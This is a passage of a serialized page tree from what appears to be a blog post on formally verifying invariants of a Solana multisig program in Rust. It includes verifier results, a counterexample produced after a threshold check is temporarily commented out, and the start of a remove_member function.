2,"value":3533},{"type":26,"tag":475,"props":24297,"children":24298},{"class":477,"line":539},[24299],{"type":26,"tag":475,"props":24300,"children":24301},{"style":499},[24302],{"type":32,"value":3607},{"type":26,"tag":35,"props":24304,"children":24305},{},[24306,24308,24314,24316,24321,24323,24328,24330,24335],{"type":32,"value":24307},"In this case this is actually redundant because if ",{"type":26,"tag":53,"props":24309,"children":24311},{"className":24310},[],[24312],{"type":32,"value":24313},"members.len() == 0",{"type":32,"value":24315}," then our threshold would also have to be ",{"type":26,"tag":53,"props":24317,"children":24319},{"className":24318},[],[24320],{"type":32,"value":3732},{"type":32,"value":24322}," (and our ",{"type":26,"tag":53,"props":24324,"children":24326},{"className":24325},[],[24327],{"type":32,"value":22458},{"type":32,"value":24329}," is not allowed to be ",{"type":26,"tag":53,"props":24331,"children":24333},{"className":24332},[],[24334],{"type":32,"value":3732},{"type":32,"value":24336},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":26,"tag":41,"props":24338,"children":24340},{"id":24339},"_2-verify-threshold-requirements",[24341],{"type":32,"value":24342},"2. Verify threshold requirements",{"type":26,"tag":35,"props":24344,"children":24345},{},[24346],{"type":32,"value":24347},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":26,"tag":35,"props":24349,"children":24350},{},[24351,24353,24357],{"type":32,"value":24352},"Unlike the previous example, we want to verify this in ",{"type":26,"tag":2615,"props":24354,"children":24355},{},[24356],{"type":32,"value":9010},{"type":32,"value":24358}," cases. I.e. any instruction that could mutate the multisig account.",{"type":26,"tag":35,"props":24360,"children":24361},{},[24362,24364,24368,24370,24375],{"type":32,"value":24363},"In this case, we want to model this as an ",{"type":26,"tag":2615,"props":24365,"children":24366},{},[24367],{"type":32,"value":21486},{"type":32,"value":24369}," on the ",{"type":26,"tag":53,"props":24371,"children":24373},{"className":24372},[],[24374],{"type":32,"value":22450},{"type":32,"value":24376}," account struct:",{"type":26,"tag":465,"props":24378,"children":24380},{"code":24379,"language":2684,"meta":7,"className":2685,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[24381],{"type":26,"tag":53,"props":24382,"children":24383},{"__ignoreMap":7},[24384,24391,24416,24423,24447,24498,24505,24524,24551,24578,24605,24632,24659,24686,24713,24748],{"type":26,"tag":475,"props":24385,"children":24386},{"class":477,"line":478},[24387],{"type":26,"tag":475,"props":24388,"children":24389},{"style":499},[24390],{"type":32,"value":20478},{"type":26,"tag":475,"props":24392,"children":24393},{"class":477,"line":516},[24394,24398,24403,24407,24412],{"type":26,"tag":475,"props":24395,"children":24396},{"style":499},[24397],{"type":32,"value":22546},{"type":26,"tag":475,"props":24399,"children":24400},{"style":505},[24401],{"type":32,"value":24402},"Clone",{"type":26,"tag":475,"props":24404,"children":24405},{"style":499},[24406],{"type":32,"value":637},{"type":26,"tag":475,"props":24408,"children":24409},{"style":505},[24410],{"type":32,"value":24411},"Debug",{"type":26,"tag":475,"props":24413,"children":24414},{"style":499},[24415],{"type":32,"value":19966},{"type":26,"tag":475,"props":24417,"children":24418},{"class":477,"line":539},[24419],{"type":26,"tag":475,"props":24420,"children":24421},{"style":499},[24422],{"type":32,"value":20486},{"type":26,"tag":475,"props":24424,"children":24425},{"class":477,"line":548},[24426,24431,24435,24439,24443],{"type":26,"tag":475,"props":24427,"children":24428},{"style":499},[24429],{"type":32,"value":24430}," (self",{"type":26,"tag":475,"props":24432,"children":24433},{"style":714},[24434],{"type":32,"value":353},{"type":26,"tag":475,"props":24436,"children":24437},{"style":499},[24438],{"type":32,"value":20779},{"type":26,"tag":475,"props":24440,"children":24441},{"style":714},[24442],{"type":32,"value":9652},{"type":26,"tag":475,"props":24444,"children":24445},{"style":499},[24446],{"type":32,"value":20788},{"type":26,"tag":475,"props":24448,"children":24449},{"class":477,"line":558},[24450,24454,24458,24462,24466,24470,24474,24478,24482,24486,24490,24494],{"type":26,"tag":475,"props":24451,"children":24452},{"style":714},[24453],{"type":32,"value":15327},{"type":26,"tag":475,"props":24455,"children":24456},{"style":499},[24457],{"type":32,"value":20712},{"type":26,"tag":475,"props":24459,"children":24460},{"style":714},[24461],{"type":32,"value":353},{"type":26,"tag":475,"props":24463,"children":24464},{"style":499},[24465],{"type":32,"value":20779},{"type":26,"tag":475,"props":24467,"children":24468},{"style":482},[24469],{"type":32,"value":8553},{"type":26,"tag":475,"props":24471,"children":24472},{"style":505},[24473],{"type":32,"value":13438},{"type":26,"tag":475,"props":24475,"children":24476},{"style":714},[24477],{"type":32,"value":7908},{"type":26,"tag":475,"props":24479,"children":24480},{"style":499},[24481],{"type":32,"value":13504},{"type":26,"tag":475,"props":24483,"children":24484},{"style":714},[24485],{"type":32,"value":353},{"type":26,"tag":475,"props":24487,"children":24488},{"style":499},[24489],{"type":32,"value":20691},{"type":26,"tag":475,"props":24491,"children":24492},{"style":714},[24493],{"type":32,"value":353},{"type":26,"tag":475,"props":24495,"children":24496},{"style":499},[24497],{"type":32,"value":20840},{"type":26,"tag":475,"props":24499,"children":24500},{"class":477,"line":582},[24501],{"type":26,"tag":475,"props":24502,"children":24503},{"style":499},[24504],{"type":32,"value":19966},{"type":26,"tag":475,"props":24506,"children":24507},{"class":477,"line":596},[24508,24512,24516,24520],{"type":26,"tag":475,"props":24509,"children":24510},{"style":482},[24511],{"type":32,"value":13397},{"type":26,"tag":475,"props":24513,"children":24514},{"style":482},[24515],{"type":32,"value":20859},{"type":26,"tag":475,"props":24517,"children":24518},{"style":505},[24519],{"type":32,"value":20864},{"type":26,"tag":475,"props":24521,"children":24522},{"style":499},[24523],{"type":32,"value":579},{"type":26,"tag":475,"props":24525,"children":24526},{"class":477,"line":610},[24527,24531,24535,24539,24543,24547],{"type":26,"tag":475,"props":24528,"children":24529},{"style":482},[24530],{"type":32,"value":20551},{"type":26,"tag":475,"props":24532,"children":24533},{"style":2375},[24534],{"type":32,"value":20880},{"type":26,"tag":475,"props":24536,"children":24537},{"style":714},[24538],{"type":32,"value":179},{"type":26,"tag":475,"props":24540,"children":24541},{"style":505},[24542],{"type":32,"value":20738},{"type":26,"tag":475,"props":24544,"children":24545},{"style":499},[24546],{"type":32,"value":20893},{"type":26,"tag":475,"props":24548,"children":24549},{"style":552},[24550],{"type":32,"value":20898},{"type":26,"tag":475,"props":24552,"children":24553},{"class":477,"line":650},[24554,24558,24562,24566,24570,24574],{"type":26,"tag":475,"props":24555,"children":24556},{"style":482},[24557],{"type":32,"value":20551},{"type":26,"tag":475,"props":24559,"children":24560},{"style":2375},[24561],{"type":32,"value":20910},{"type":26,"tag":475,"props":24563,"children":24564},{"style":714},[24565],{"type":32,"value":179},{"type":26,"tag":475,"props":24567,"children":24568},{"style":505},[24569],{"type":32,"value":20738},{"type":26,"tag":475,"props":24571,"children":24572},{"style":499},[24573],{"type":32,"value":20923},{"type":26,"tag":475,"props":24575,"children":24576},{"style":552},[24577],{"type":32,"value":20928},{"type":26,"tag":475,"props":24579,"children":24580},{"class":477,"line":679},[24581,24585,24589,24593,24597,24601],{"type":26,"tag":475,"props":24582,"children":24583},{"style":482},[24584],{"type":32,"value":20551},{"type":26,"tag":475,"props":24586,"children":24587},{"style":2375},[24588],{"type":32,"value":20940},{"type":26,"tag":475,"props":24590,"children":24591},{"style":714},[24592],{"type":32,"value":179},{"type":26,"tag":475,"props":24594,"children":24595},{"style":505},[24596],{"type":32,"value":17256},{"type":26,"tag":475,"props":24598,"children":24599},{"style":499},[24600],{"type":32,"value":20953},{"type":26,"tag":475,"props":24602,"children":24603},{"style":552},[24604],{"type":32,"value":20958},{"type":26,"tag":475,"props":24606,"children":24607},{"class":477,"line":735},[24608,24612,24616,24620,24624,24628],{"type":26,"tag":475,"props":24609,"children":24610},{"style":482},[24611],{"type":32,"value":20551},{"type":26,"tag":475,"props":24613,"children":24614},{"style":2375},[24615],{"type":32,"value":20970},{"type":26,"tag":475,"props":24617,"children":24618},{"style":714},[24619],{"type":32,"value":179},{"type":26,"tag":475,"props":24621,"children":24622},{"style":505},[24623],{"type":32,"value":17256},{"type":26,"tag":475,"props":24625,"children":24626},{"style":499},[24627],{"type":32,"value":20923},{"type":26,"tag":475,"props":24629,"children":24630},{"style":552},[24631],{"type":32,"value":20987},{"type":26,"tag":475,"props":24633,"children":24634},{"class":477,"line":744},[24635,24639,24643,24647,24651,24655],{"type":26,"tag":475,"props":24636,"children":24637},{"style":482},[24638],{"type":32,"value":20551},{"type":26,"tag":475,"props":24640,"children":24641},{"style":2375},[24642],{"type":32,"value":20999},{"type":26,"tag":475,"props":24644,"children":24645},{"style":714},[24646],{"type":32,"value":179},{"type":26,"tag":475,"props":24648,"children":24649},{"style":505},[24650],{"type":32,"value":14341},{"type":26,"tag":475,"props":24652,"children":24653},{"style":499},[24654],{"type":32,"value":21012},{"type":26,"tag":475,"props":24656,"children":24657},{"style":552},[24658],{"type":32,"value":21017},{"type":26,"tag":475,"props":24660,"children":24661},{"class":477,"line":753},[24662,24666,24670,24674,24678,24682],{"type":26,"tag":475,"props":24663,"children":24664},{"style":482},[24665],{"type":32,"value":20551},{"type":26,"tag":475,"props":24667,"children":24668},{"style":2375},[24669],{"type":32,"value":21029},{"type":26,"tag":475,"props":24671,"children":24672},{"style":714},[24673],{"type":32,"value":179},{"type":26,"tag":475,"props":24675,"children":24676},{"style":505},[24677],{"type":32,"value":20565},{"type":26,"tag":475,"props":24679,"children":24680},{"style":499},[24681],{"type":32,"value":21042},{"type":26,"tag":475,"props":24683,"children":24684},{"style":552},[24685],{"type":32,"value":21047},{"type":26,"tag":475,"props":24687,"children":24688},{"class":477,"line":761},[24689,24693,24697,24701,24705,24709],{"type":26,"tag":475,"props":24690,"children":24691},{"style":482},[24692],{"type":32,"value":20551},{"type":26,"tag":475,"props":24694,"children":24695},{"style":2375},[24696],{"type":32,"value":21059},{"type":26,"tag":475,"props":24698,"children":24699},{"style":714},[24700],{"type":32,"value":179},{"type":26,"tag":475,"props":24702,"children":24703},{"style":505},[24704],{"type":32,"value":11759},{"type":26,"tag":475,"props":24706,"children":24707},{"style":499},[24708],{"type":32,"value":637},{"type":26,"tag":475,"props":24710,"children":24711},{"style":552},[24712],{"type":32,"value":21076},{"type":26,"tag":475,"props":24714,"children":24715},{"class":477,"line":770},[24716,24720,24724,24728,24732,24736,24740,24744],{"type":26,"tag":475,"props":24717,"children":24718},{"style":482},[24719],{"type":32,"value":20551},{"type":26,"tag":475,"props":24721,"children":24722},{"style":2375},[24723],{"type":32,"value":21088},{"type":26,"tag":475,"props":24725,"children":24726},{"style":714},[24727],{"type":32,"value":179},{"type":26,"tag":475,"props":24729,"children":24730},{"style":505},[24731],{"type":32,"value":21097},{"type":26,"tag":475,"props":24733,"children":24734},{"style":499},[24735],{"type":32,"value":5519},{"type":26,"tag":475,"props":24737,"children":24738},{"style":505},[24739],{"type":32,"value":21106},{"type":26,"tag":475,"props":24741,"children":24742},{"style":499},[24743],{"type":32,"value":21111},{"type":26,"tag":475,"props":24745,"children":24746},{"style":552},[24747],{"type":32,"value":21116},{"type":26,"tag":475,"props":24749,"children":24750},{"class":477,"line":794},[24751],{"type":26,"tag":475,"props":24752,"children":24753},{"style":499},[24754],{"type":32,"value":3607},{"type":26,"tag":35,"props":24756,"children":24757},{},[24758,24760,24765],{"type":32,"value":24759},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":26,"tag":53,"props":24761,"children":24763},{"className":24762},[],[24764],{"type":32,"value":22450},{"type":32,"value":24766}," object will be checked to ensure that the invariant still holds after modification.",{"type":26,"tag":35,"props":24768,"children":24769},{},[24770,24772,24777],{"type":32,"value":24771},"Let's try this on the ",{"type":26,"tag":53,"props":24773,"children":24775},{"className":24774},[],[24776],{"type":32,"value":22529},{"type":32,"value":24778}," instruction that we've already seen:",{"type":26,"tag":465,"props":24780,"children":24782},{"code":24781},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[24783],{"type":26,"tag":53,"props":24784,"children":24785},{"__ignoreMap":7},[24786],{"type":32,"value":24781},{"type":26,"tag":35,"props":24788,"children":24789},{},[24790,24792,24797],{"type":32,"value":24791},"To ensure this is working, we can test by commenting out this check from ",{"type":26,"tag":53,"props":24793,"children":24795},{"className":24794},[],[24796],{"type":32,"value":22529},{"type":32,"value":179},{"type":26,"tag":465,"props":24799,"children":24801},{"code":24800,"language":2684,"meta":7,"className":2685,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// }\n",[24802],{"type":26,"tag":53,"props":24803,"children":24804},{"__ignoreMap":7},[24805,24813,24821],{"type":26,"tag":475,"props":24806,"children":24807},{"class":477,"line":478},[24808],{"type":26,"tag":475,"props":24809,"children":24810},{"style":552},[24811],{"type":32,"value":24812},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":26,"tag":475,"props":24814,"children":24815},{"class":477,"line":516},[24816],{"type":26,"tag":475,"props":24817,"children":24818},{"style":552},[24819],{"type":32,"value":24820},"// return err!(MsError::InvalidThreshold);\n",{"type":26,"tag":475,"props":24822,"children":24823},{"class":477,"line":539},[24824],{"type":26,"tag":475,"props":24825,"children":24826},{"style":552},[24827],{"type":32,"value":24828},"// }\n",{"type":26,"tag":35,"props":24830,"children":24831},{},[24832],{"type":32,"value":24833},"And run again:",{"type":26,"tag":465,"props":24835,"children":24837},{"code":24836},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[24838],{"type":26,"tag":53,"props":24839,"children":24840},{"__ignoreMap":7},[24841],{"type":32,"value":24836},{"type":26,"tag":35,"props":24843,"children":24844},{},[24845],{"type":32,"value":24846},"We get the following counterexample:",{"type":26,"tag":465,"props":24848,"children":24850},{"code":24849,"language":2684,"meta":7,"className":2685,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[24851],{"type":26,"tag":53,"props":24852,"children":24853},{"__ignoreMap":7},[24854,24865,24885,24905,24925,24945,24965,24985,25005,25025,25046,25067,25075,25083,25113],{"type":26,"tag":475,"props":24855,"children":24856},{"class":477,"line":478},[24857,24861],{"type":26,"tag":475,"props":24858,"children":24859},{"style":505},[24860],{"type":32,"value":16852},{"type":26,"tag":475,"props":24862,"children":24863},{"style":499},[24864],{"type":32,"value":579},{"type":26,"tag":475,"props":24866,"children":24867},{"class":477,"line":516},[24868,24873,24877,24881],{"type":26,"tag":475,"props":24869,"children":24870},{"style":2375},[24871],{"type":32,"value":24872}," account",{"type":26,"tag":475,"props":24874,"children":24875},{"style":714},[24876],{"type":32,"value":179},{"type":26,"tag":475,"props":24878,"children":24879},{"style":505},[24880],{"type":32,"value":20864},{"type":26,"tag":475,"props":24882,"children":24883},{"style":499},[24884],{"type":32,"value":579},{"type":26,"tag":475,"props":24886,"children":24887},{"class":477,"line":539},[24888,24892,24896,24901],{"type":26,"tag":475,"props":24889,"children":24890},{"style":2375},[24891],{"type":32,"value":23531},{"type":26,"tag":475,"props":24893,"children":24894},{"style":714},[24895],{"type":32,"value":179},{"type":26,"tag":475,"props":24897,"children":24898},{"style":903},[24899],{"type":32,"value":24900}," 32768",{"type":26,"tag":475,"props":24902,"children":24903},{"style":499},[24904],{"type":32,"value":2425},{"type":26,"tag":475,"props":24906,"children":24907},{"class":477,"line":548},[24908,24913,24917,24921],{"type":26,"tag":475,"props":24909,"children":24910},{"style":2375},[24911],{"type":32,"value":24912}," authority_index",{"type":26,"tag":475,"props":24914,"children":24915},{"style":714},[24916],{"type":32,"value":179},{"type":26,"tag":475,"props":24918,"children":24919},{"style":903},[24920],{"type":32,"value":4234},{"type":26,"tag":475,"props":24922,"children":24923},{"style":499},[24924],{"type":32,"value":2425},{"type":26,"tag":475,"props":24926,"children":24927},{"class":477,"line":558},[24928,24933,24937,24941],{"type":26,"tag":475,"props":24929,"children":24930},{"style":2375},[24931],{"type":32,"value":24932}," transaction_index",{"type":26,"tag":475,"props":24934,"children":24935},{"style":714},[24936],{"type":32,"value":179},{"type":26,"tag":475,"props":24938,"children":24939},{"style":903},[24940],{"type":32,"value":2752},{"type":26,"tag":475,"props":24942,"children":24943},{"style":499},[24944],{"type":32,"value":2425},{"type":26,"tag":475,"props":24946,"children":24947},{"class":477,"line":582},[24948,24953,24957,24961],{"type":26,"tag":475,"props":24949,"children":24950},{"style":2375},[24951],{"type":32,"value":24952}," ms_change_index",{"type":26,"tag":475,"props":24954,"children":24955},{"style":714},[24956],{"type":32,"value":179},{"type":26,"tag":475,"props":24958,"children":24959},{"style":903},[24960],{"type":32,"value":2752},{"type":26,"tag":475,"props":24962,"children":24963},{"style":499},[24964],{"type":32,"value":2425},{"type":26,"tag":475,"props":24966,"children":24967},{"class":477,"line":596},[24968,24973,24977,24981],{"type":26,"tag":475,"props":24969,"children":24970},{"style":2375},[24971],{"type":32,"value":24972}," bump",{"type":26,"tag":475,"props":24974,"children":24975},{"style":714},[24976],{"type":32,"value":179},{"type":26,"tag":475,"props":24978,"children":24979},{"style":903},[24980],{"type":32,"value":2752},{"type":26,"tag":475,"props":24982,"children":24983},{"style":499},[24984],{"type":32,"value":2425},{"type":26,"tag":475,"props":24986,"children":24987},{"class":477,"line":610},[24988,24992,24996,25001],{"type":26,"tag":475,"props":24989,"children":24990},{"style":2375},[24991],{"type":32,"value":23543},{"type":26,"tag":475,"props":24993,"children":24994},{"style":714},[24995],{"type":32,"value":179},{"type":26,"tag":475,"props":24997,"children":24998},{"style":714},[24999],{"type":32,"value":25000}," ...",{"type":26,"tag":475,"props":25002,"children":25003},{"style":499},[25004],{"type":32,"value":2425},{"type":26,"tag":475,"props":25006,"children":25007},{"class":477,"line":650},[25008,25013,25017,25021],{"type":26,"tag":475,"props":25009,"children":25010},{"style":2375},[25011],{"type":32,"value":25012}," allow_external_execute",{"type":26,"tag":475,"props":25014,"children":25015},{"style":714},[25016],{"type":32,"value":179},{"type":26,"tag":475,"props":25018,"children":25019},{"style":482},[25020],{"type":32,"value":8769},{"type":26,"tag":475,"props":25022,"children":25023},{"style":499},[25024],{"type":32,"value":2425},{"type":26,"tag":475,"props":25026,"children":25027},{"class":477,"line":679},[25028,25033,25037,25042],{"type":26,"tag":475,"props":25029,"children":25030},{"style":2375},[25031],{"type":32,"value":25032}," keys",{"type":26,"tag":475,"props":25034,"children":25035},{"style":714},[25036],{"type":32,"value":179},{"type":26,"tag":475,"props":25038,"children":25039},{"style":505},[25040],{"type":32,"value":25041}," SparseVec",{"type":26,"tag":475,"props":25043,"children":25044},{"style":499},[25045],{"type":32,"value":579},{"type":26,"tag":475,"props":25047,"children":25048},{"class":477,"line":735},[25049,25054,25058,25063],{"type":26,"tag":475,"props":25050,"children":25051},{"style":2375},[25052],{"type":32,"value":25053}," size",{"type":26,"tag":475,"props":25055,"children":25056},{"style":714},[25057],{"type":32,"value":179},{"type":26,"tag":475,"props":25059,"children":25060},{"style":903},[25061],{"type":32,"value":25062}," 5112",{"type":26,"tag":475,"props":25064,"children":25065},{"style":499},[25066],{"type":32,"value":2425},{"type":26,"tag":475,"props":25068,"children":25069},{"class":477,"line":744},[25070],{"type":26,"tag":475,"props":25071,"children":25072},{"style":499},[25073],{"type":32,"value":25074}," },\n",{"type":26,"tag":475,"props":25076,"children":25077},{"class":477,"line":753},[25078],{"type":26,"tag":475,"props":25079,"children":25080},{"style":499},[25081],{"type":32,"value":25082}," },\n",{"type":26,"tag":475,"props":25084,"children":25085},{"class":477,"line":761},[25086,25091,25095,25100,25104,25108],{"type":26,"tag":475,"props":25087,"children":25088},{"style":2375},[25089],{"type":32,"value":25090}," info",{"type":26,"tag":475,"props":25092,"children":25093},{"style":714},[25094],{"type":32,"value":179},{"type":26,"tag":475,"props":25096,"children":25097},{"style":505},[25098],{"type":32,"value":25099}," AccountInfo",{"type":26,"tag":475,"props":25101,"children":25102},{"style":499},[25103],{"type":32,"value":1101},{"type":26,"tag":475,"props":25105,"children":25106},{"style":714},[25107],{"type":32,"value":9300},{"type":26,"tag":475,"props":25109,"children":25110},{"style":499},[25111],{"type":32,"value":25112}," },\n",{"type":26,"tag":475,"props":25114,"children":25115},{"class":477,"line":770},[25116],{"type":26,"tag":475,"props":25117,"children":25118},{"style":499},[25119],{"type":32,"value":3607},{"type":26,"tag":35,"props":25121,"children":25122},{},[25123,25125,25130,25132,25137],{"type":32,"value":25124},"Here we see that the ",{"type":26,"tag":53,"props":25126,"children":25128},{"className":25127},[],[25129],{"type":32,"value":22458},{"type":32,"value":25131}," of the newly created ",{"type":26,"tag":53,"props":25133,"children":25135},{"className":25134},[],[25136],{"type":32,"value":22450},{"type":32,"value":25138}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":26,"tag":41,"props":25140,"children":25142},{"id":25141},"verify-requirements-to-remove-a-member",[25143],{"type":32,"value":22488},{"type":26,"tag":35,"props":25145,"children":25146},{},[25147,25149,25154,25155,25160,25162,25168],{"type":32,"value":25148},"Now that we've seen both ",{"type":26,"tag":53,"props":25150,"children":25152},{"className":25151},[],[25153],{"type":32,"value":19862},{"type":32,"value":209},{"type":26,"tag":53,"props":25156,"children":25158},{"className":25157},[],[25159],{"type":32,"value":21486},{"type":32,"value":25161}," let's take a look at the ",{"type":26,"tag":53,"props":25163,"children":25165},{"className":25164},[],[25166],{"type":32,"value":25167},"remove_member",{"type":32,"value":25169}," function:",{"type":26,"tag":465,"props":25171,"children":25173},{"code":25172,"language":2684,"meta":7,"className":2685,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[25174],{"type":26,"tag":53,"props":25175,"children":25176},{"__ignoreMap":7},[25177,25200,25228,25243,25288,25295,25307,25323,25335,25361,25369,25398,25405,25437,25444,25451,25525,25533,25593,25625,25632,25683,25690,25698,25791,25880,25934,25941,25986,26031],{"type":26,"tag":475,"props":25178,"children":25179},{"class":477,"line":478},[25180,25184,25188,25192,25196],{"type":26,"tag":475,"props":25181,"children":25182},{"style":499},[25183],{"type":32,"value":22546},{"type":26,"tag":475,"props":25185,"children":25186},{"style":505},[25187],{"type":32,"value":22551},{"type":26,"tag":475,"props":25189,"children":25190},{"style":499},[25191],{"type":32,"value":637},{"type":26,"tag":475,"props":25193,"children":25194},{"style":505},[25195],{"type":32,"value":24411},{"type":26,"tag":475,"props":25197,"children":25198},{"style":499},[25199],{"type":32,"value":19966},{"type":26,"tag":475,"props":25201,"children":25202},{"class":477,"line":516},[25203,25207,25211,25216,25220,25224],{"type":26,"tag":475,"props":25204,"children":25205},{"style":482},[25206],{"type":32,"value":13397},{"type":26,"tag":475,"props":25208,"children":25209},{"style":482},[25210],{"type":32,"value":20859},{"type":26,"tag":475,"props":25212,"children":25213},{"style":505},[25214],{"type":32,"value":25215}," MsAuth",{"type":26,"tag":475,"props":25217,"children":25218},{"style":499},[25219],{"type":32,"value":22631},{"type":26,"tag":475,"props":25221,"children":25222},{"style":505},[25223],{"type":32,"value":22636},{"type":26,"tag":475,"props":25225,"children":25226},{"style":499},[25227],{"type":32,"value":6994},{"type":26,"tag":475,"props":25229,"children":25230},{"class":477,"line":539},[25231,25235,25239],{"type":26,"tag":475,"props":25232,"children":25233},{"style":499},[25234],{"type":32,"value":22838},{"type":26,"tag":475,"props":25236,"children":25237},{"style":482},[25238],{"type":32,"value":3430},{"type":26,"tag":475,"props":25240,"children":25241},{"style":499},[25242],{"type":32,"value":19966},{"type":26,"tag":475,"props":25244,"children":25245},{"class":477,"line":548},[25246,25251,25255,25260,25264,25268,25272,25276,25280,25284],{"type":26,"tag":475,"props":25247,"children":25248},{"style":2375},[25249],{"type":32,"value":25250}," multisig",{"type":26,"tag":475,"props":25252,"children":25253},{"style":714},[25254],{"type":32,"value":179},{"type":26,"tag":475,"props":25256,"children":25257},{"style":505},[25258],{"type":32,"value":25259}," Box",{"type":26,"tag":475,"props":25261,"children":25262},{"style":499},[25263],{"type":32,"value":5519},{"type":26,"tag":475,"props":25265,"children":25266},{"style":505},[25267],{"type":32,"value":16852},{"type":26,"tag":475,"props":25269,"children":25270},{"style":499},[25271],{"type":32,"value":22631},{"type":26,"tag":475,"props":25273,"children":25274},{"style":505},[25275],{"type":32,"value":22636},{"type":26,"tag":475,"props":25277,"children":25278},{"style":499},[25279],{"type":32,"value":637},{"type":26,"tag":475,"props":25281,"children":25282},{"style":505},[25283],{"type":32,"value":22450},{"type":26,"tag":475,"props":25285,"children":25286},{"style":499},[25287],{"type":32,"value":6664},{"type":26,"tag":475,"props":25289,"children":25290},{"class":477,"line":558},[25291],{"type":26,"tag":475,"props":25292,"children":25293},{"style":499},[25294],{"type":32,"value":22648},{"type":26,"tag":475,"props":25296,"children":25297},{"class":477,"line":582},[25298,25303],{"type":26,"tag":475,"props":25299,"children":25300},{"style":482},[25301],{"type":32,"value":25302}," mut",{"type":26,"tag":475,"props":25304,"children":25305},{"style":499},[25306],{"type":32,"value":2425},{"type":26,"tag":475,"props":25308,"children":25309},{"class":477,"line":596},[25310,25314,25318],{"type":26,"tag":475,"props":25311,"children":25312},{"style":499},[25313],{"type":32,"value":22732},{"type":26,"tag":475,"props":25315,"children":25316},{"style":714},[25317],{"type":32,"value":786},{"type":26,"tag":475,"props":25319,"children":25320},{"style":499},[25321],{"type":32,"value":25322}," [\n",{"type":26,"tag":475,"props":25324,"children":25325},{"class":477,"line":610},[25326,25331],{"type":26,"tag":475,"props":25327,"children":25328},{"style":629},[25329],{"type":32,"value":25330}," b\"squad\"",{"type":26,"tag":475,"props":25332,"children":25333},{"style":499},[25334],{"type":32,"value":2425},{"type":26,"tag":475,"props":25336,"children":25337},{"class":477,"line":650},[25338,25343,25347,25352,25356],{"type":26,"tag":475,"props":25339,"children":25340},{"style":499},[25341],{"type":32,"value":25342}," multisig",{"type":26,"tag":475,"props":25344,"children":25345},{"style":714},[25346],{"type":32,"value":353},{"type":26,"tag":475,"props":25348,"children":25349},{"style":499},[25350],{"type":32,"value":25351},"create_key",{"type":26,"tag":475,"props":25353,"children":25354},{"style":714},[25355],{"type":32,"value":353},{"type":26,"tag":475,"props":25357,"children":25358},{"style":499},[25359],{"type":32,"value":25360},"as_ref(),\n",{"type":26,"tag":475,"props":25362,"children":25363},{"class":477,"line":679},[25364],{"type":26,"tag":475,"props":25365,"children":25366},{"style":629},[25367],{"type":32,"value":25368}," b\"multisig\"\n",{"type":26,"tag":475,"props":25370,"children":25371},{"class":477,"line":735},[25372,25377,25382,25386,25390,25394],{"type":26,"tag":475,"props":25373,"children":25374},{"style":499},[25375],{"type":32,"value":25376}," ], ",{"type":26,"tag":475,"props":25378,"children":25379},{"style":2375},[25380],{"type":32,"value":25381},"bump",{"type":26,"tag":475,"props":25383,"children":25384},{"style":714},[25385],{"type":32,"value":2383},{"type":26,"tag":475,"props":25387,"children":25388},{"style":2375},[25389],{"type":32,"value":22794},{"type":26,"tag":475,"props":25391,"children":25392},{"style":714},[25393],{"type":32,"value":353},{"type":26,"tag":475,"props":25395,"children":25396},{"style":499},[25397],{"type":32,"value":22774},{"type":26,"tag":475,"props":25399,"children":25400},{"class":477,"line":744},[25401],{"type":26,"tag":475,"props":25402,"children":25403},{"style":499},[25404],{"type":32,"value":22782},{"type":26,"tag":475,"props":25406,"children":25407},{"class":477,"line":753},[25408,25412,25417,25421,25425,25429,25433],{"type":26,"tag":475,"props":25409,"children":25410},{"style":482},[25411],{"type":32,"value":20551},{"type":26,"tag":475,"props":25413,"children":25414},{"style":2375},[25415],{"type":32,"value":25416}," 